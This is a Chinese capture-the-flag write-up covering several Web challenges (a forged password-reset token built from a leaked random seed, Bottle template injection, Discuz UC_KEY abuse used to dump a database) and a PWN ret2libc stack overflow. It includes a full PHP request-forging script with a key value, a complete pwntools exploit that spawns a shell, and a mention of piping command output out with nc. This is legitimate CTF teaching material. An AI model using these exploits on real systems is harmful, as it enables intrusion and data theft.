我只写了 Web 题,所以只有 Web 的 WP 是我写的, 其他的题目是 tgs-ollaic 和 unkn0wn 一并解决的, 其他的 WP 是 tg-ollaic 写的。
我只展示了一部分 WP,其他的去 tgs-ollaic 博客里看吧。
Web
Ekko_note
分析
查看源代码可以找到的提示:random seed
目标是拿到管理员权限执行命令获取 flag
查看源码有一个修改密码发送 Token 的模块,重点关注直接修改管理员密码
有一个 UUID8,UUID 生成要用到 random,而上面设置了 seed 到 startup time, 翻源码 + 网络控制台可知有一个 api 在登录状态下会一直发送 startup time,注册一个账号, 登录,然后拿到 startup time
构造脚本
random seed 为 server startup time, 以此生成相应的 UUID8
UUID8 生成脚本搞了一圈没搞定,在搜索的时候发现 py3.14 rc2 中就有这个 api,
二话不说,直接 paru python314 然后直接调用相应的 uuid8 api 生成相应的 TOKEN, 修改管理员密码
找 flag
最后,尝试着执行一些命令、想办法找到 flag,使用 nc 将结果输出到服务器(看着场景比较简单,没用反弹 shell(因为我还不会反弹 shell))
ez_bottle
分析源码可发现使用了 bottle 这个轻量级 Web 框架,
分析题目逻辑,发现是渲染 template(模板),
重点关注通过模板注入来获取 flag,
我们发现 {}<> 都用不了,但是查官网可知,
bottle 还有 % 可以用来调用一行 python 脚本。
那其他的系统 api 屏蔽词怎么办呢?
- 使用斜体可以绕过检测
- 因为有上传系统,我们可以先上传一个文件,获取地址, 再用后上传的文件去加载这个文件
我选择了 2,因为要传递回显,不用 {} 的话我不知道怎么传
最后构造出来的脚本很简洁
% import os% with open('/flag', 'r', encoding='utf-8') as f: % content = f.read() {{content}}% end上传后获取 a.tpl 的 hash,填到 b.tpl 中
% include('uploads/8b961bf855a7b98f9be204d5f9deb096/a.tpl')随后上传并访问 t.tpl 即可绕过检测
(构造 a.tpl 的时候一直以为题目中 /flag 指的是网站根目录,结果是在系统根目录)
我曾有一份工作
扫描发现 www.zip
下载,发现 config_ucenter.php 中有 UC_KEY,
另一个 config_global.php 文件中还有authkey
但是我们的目标不是 getshell 而是 获取数据库中 pre_a_flag 的值,
所以我们重点关注 数据库
发现 有一个 sql backup 文件夹,可惜里面是空的, 如果要爆破目录复杂度太高,放弃
搜索 UC_KEY 利用方法,重点关注 uc.php, dbbak.php 的 api
大量搜索 uc.php 寻找可以利用这两个 key 的 api,
要么就是太过复杂,要么就是无法确保一定会成功,
而且很多都需要 admin 权限(这个权限我想了一下,不好搞)
回到 dbbak.php, 料想备份数据库的操作会比较轻松,
所以想办法通过这里的 api 备份一次数据库
我们搜索 发现 method export 可以用来备份数据库,
回溯 $get 发现是由 $code 推导生成的
parse_str(_authcode($code, 'DECODE', UC_KEY), $get);看一下 _authcode 函数,发现其同时实现了 解密逻辑,
直接其调用 DECODE 即可
因为还涉及时间戳,所以需要程序动态生成 请求
把 dbbak.php 扔给 DeepSeek, 让他生成一份请求脚本
<?php// 配置参数$targetUrl = "";$UC_KEY = "N8ear1n0q4s646UeZeod130eLdlbqfs1BbRd447eq866gaUdmek7v2D9r9EeS6vb";$apptype = "discuzx";
// 从 dbbak.php 提取的加密函数function _authcode($string, $operation = 'ENCODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : ''); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string);
$result = ''; $box = range(0, 255);
$rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); }
for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; }
for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); }
if($operation == 'DECODE') { if(((int)substr($result, 0, 10) == 0 || (int)substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) === substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); }}
// 1. 构造请求参数$get = [ 'method' => 'export', 'time' => time(), 'volume' => 0, 'sqlpath' => '', 'backupfilename' => date('ymd').'_'.bin2hex(random_bytes(3))];
// 2. 生成查询字符串并加密$queryString = http_build_query($get);$code = _authcode($queryString, 'ENCODE', $UC_KEY);
// 3. 构造最终请求 URL$requestUrl = $targetUrl."?apptype=".$apptype."&code=".urlencode($code);
// 4. 发送 HTTP 请求echo "正在发送请求到:".$requestUrl."\n\n";
$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $requestUrl);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_HEADER, false);$response = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);curl_close($ch);
echo $response;
// 5. 处理响应echo "HTTP 状态码:".$httpCode."\n";echo "响应内容:\n";echo "----------------------------------------\n";
if($httpCode == 200) { // 尝试解析 XML 响应 $xml = @simplexml_load_string($response); if($xml !== false) { echo "备份操作结果:\n";
// 显示错误信息(如果有) if(isset($xml->error)) { echo "错误代码:".$xml->error['errorCode']."\n"; echo "错误信息:".$xml->error['errorMessage']."\n"; }
// 显示文件信息(成功时) if(isset($xml->fileinfo)) { echo "\n备份文件信息:\n"; echo "文件序号:".$xml->fileinfo->file_num."\n"; echo "文件大小:".$xml->fileinfo->file_size." bytes\n"; echo "文件名:".$xml->fileinfo->file_name."\n"; echo "文件 URL: ".$xml->fileinfo->file_url."\n"; echo "最后修改:".date('Y-m-d H:i:s', $xml->fileinfo->last_modify)."\n"; }
// 显示下一卷 URL(分卷备份时) if(isset($xml->nexturl) && !empty($xml->nexturl)) { echo "\n下一卷 URL:\n".$xml->nexturl."\n"; } } else { // 非 XML 响应直接输出 echo $response; }} else { echo "请求失败,HTTP 状态码:".$httpCode."\n"; echo $response;}
echo "\n----------------------------------------\n";?>随后运行可以拿到 链接地址,访问可以下载 sql 文件
打开,搜索 pre_a_flag,找到 VALUE 那一行,拿到 flag 的 hex,放到 赛博厨子 中解码即可
PWN
签到
对拿到的三个文件 file 一下,发现要用加载器来运行 ./ld-linux-x86-64.so.2 --library-path . ./pwn, 而且 pwn 是 not stripped 的,可以方便地查看各种函数。
checksec 一下,发现没有栈保护 (No Canary), 地址不会随机化 (No PIE), 某些内存区域不可执行 (NX enabled)。
尝试运行程序,发现输入过长的 A 会 SIGSEV, 可以栈溢出。
漏洞分析
用 IDA 打开,分析 main 函数。
; Attributes: bp-based frame
; int __cdecl main(int argc, const char **argv, const char **envp)public mainmain proc near
buf= byte ptr -70h
; __unwind {endbr64push rbpmov rbp, rspsub rsp, 70hmov rax, cs:stdin@GLIBC_2_2_5mov esi, 0 ; bufmov rdi, rax ; streamcall _setbufmov rax, cs:__bss_startmov esi, 0 ; bufmov rdi, rax ; streamcall _setbufmov rax, cs:stderr@GLIBC_2_2_5mov esi, 0 ; bufmov rdi, rax ; streamcall _setbuflea rax, s ; "Welcome to lilctf!"mov rdi, rax ; scall _putslea rax, aWhatSYourName ; "What's your name?"mov rdi, rax ; scall _putslea rax, [rbp+buf]mov edx, 200h ; nbytesmov rsi, rax ; bufmov edi, 0 ; fdmov eax, 0call _readmov eax, 0leaveretn; } // starts at 401178main endp
_text ends显然,程序在栈上开辟了 0x70 的缓冲区,却调用 read 函数试图读入 0x200 的数据,存在栈溢出漏洞。
经过计算,覆盖到返回地址需要 112 (buf) + 8 (rbp) = 120 字节的填充。
攻击思路
检查函数列表,没有发现 win 或 get_shell 之类的后门函数,做不了 ret2text。
由于 NX 开启,无法直接执行栈上的 shellcode。
但我们可以劫持程序执行流,
跳转到 libc 中现有的 system 函数,执行 system("/bin/sh") 来获取 shell。
然而,由于 ASLR 的存在,libc 的基地址每次运行都是随机的。
因此,攻击分两步:
- 先用一个
libc函数的真实地址来计算基址 - 再利用这个基址来计算
system的地址并调用
计算 libc 基地址
我们的目标是诱导程序执行 puts(puts@got)。
puts@got 中存放着 puts 函数在内存中的真实地址,
调用 puts 把它打印出来,我们就能知道这个地址。
(当然,之后我们应诱导重进 main,
而非重启程序,因为重启之后基地址又变了。)
寻找 Gadgets
我们需要一个 pop rdi; ret 的 gadget 来给 puts 函数传递参数 (puts@got 的地址)。
(这段汇编的意思是将栈最上面的值弹出并加载到寄存器中,随即返回)
ROPgadget --binary ./pwn --only "pop rdi|ret"构建 Payload 1, 我们的 ROP 链要做三件事:
- 将
puts@got的地址放入rdi寄存器。 - 调用
puts@plt。 - 执行完后,返回
main函数的开头,以便我们进行第二次攻击。
rop_chain_1 = p64(pop_rdi) # 执行 pop rdi; retrop_chain_1 += p64(puts_got) # 将 puts@got 的地址放入 rdirop_chain_1 += p64(puts_plt) # 调用 putsrop_chain_1 += p64(main_addr) # puts 返回后,重新执行 mainGet Shell
拿到 puts 的真实地址后,减去它在 libc 文件中的偏移,
就算出了 libc 的基地址。
然后,就可以计算出 system 和 "/bin/sh" 的精确地址。
解决栈对齐问题,在 64 位系统中,调用函数时要求栈是 16 字节对齐的。
我们的 ROP 链从 main 函数 ret (弹出 8 字节) 开始,
破坏了对齐。如果直接调用 system, 会导致 SIGSEGV。
解决方案:在调用 system 之前,先跳转到一个 ret gadget,
它会再弹出 8 字节,从而让栈 (8+8=16) 重新对齐。
构建 Payload 2, 这次的 ROP 链目标是执行 system("/bin/sh")。
rop_chain_2 = p64(ret_gadget) # 用于栈对齐rop_chain_2 += p64(pop_rdi) # 执行 pop rdi; retrop_chain_2 += p64(bin_sh_addr) # 将 "/bin/sh" 的地址放入 rdirop_chain_2 += p64(system_addr) # 调用 system最终 Exploit 脚本
将上述思路整合,编写 pwntools 脚本。
from pwn import *
USE_REMOTE = TrueHOST = ''PORT = 33394
elf = context.binary = ELF('./pwn')libc = ELF('./libc.so.6')
if USE_REMOTE: p = remote(HOST, PORT)else: p = process(['./ld-linux-x86-64.so.2', '--library-path', '.', './pwn'])
rop = ROP(elf)pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]ret_gadget = rop.find_gadget(['ret'])[0]
puts_plt = elf.plt['puts']puts_got = elf.got['puts']main_addr = elf.symbols['main']padding = b'A' * 120
log.info("### Stage 1: Leaking puts address...")p.recvuntil(b"What's your name?\n")payload1 = padding + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)p.sendline(payload1)leaked_data = p.recvline().strip()leaked_puts_addr = u64(leaked_data.ljust(8, b'\x00'))
p.recvuntil(b"What's your name?\n")libc_base = leaked_puts_addr - libc.symbols['puts']system_addr = libc_base + libc.symbols['system']bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))payload2 = padding + p64(ret_gadget) + p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)log.info("### Stage 2: Getting Shell...")p.sendline(payload2)
p.interactive()运行脚本,成功拿到 shell
lscat ./flag拿到 flag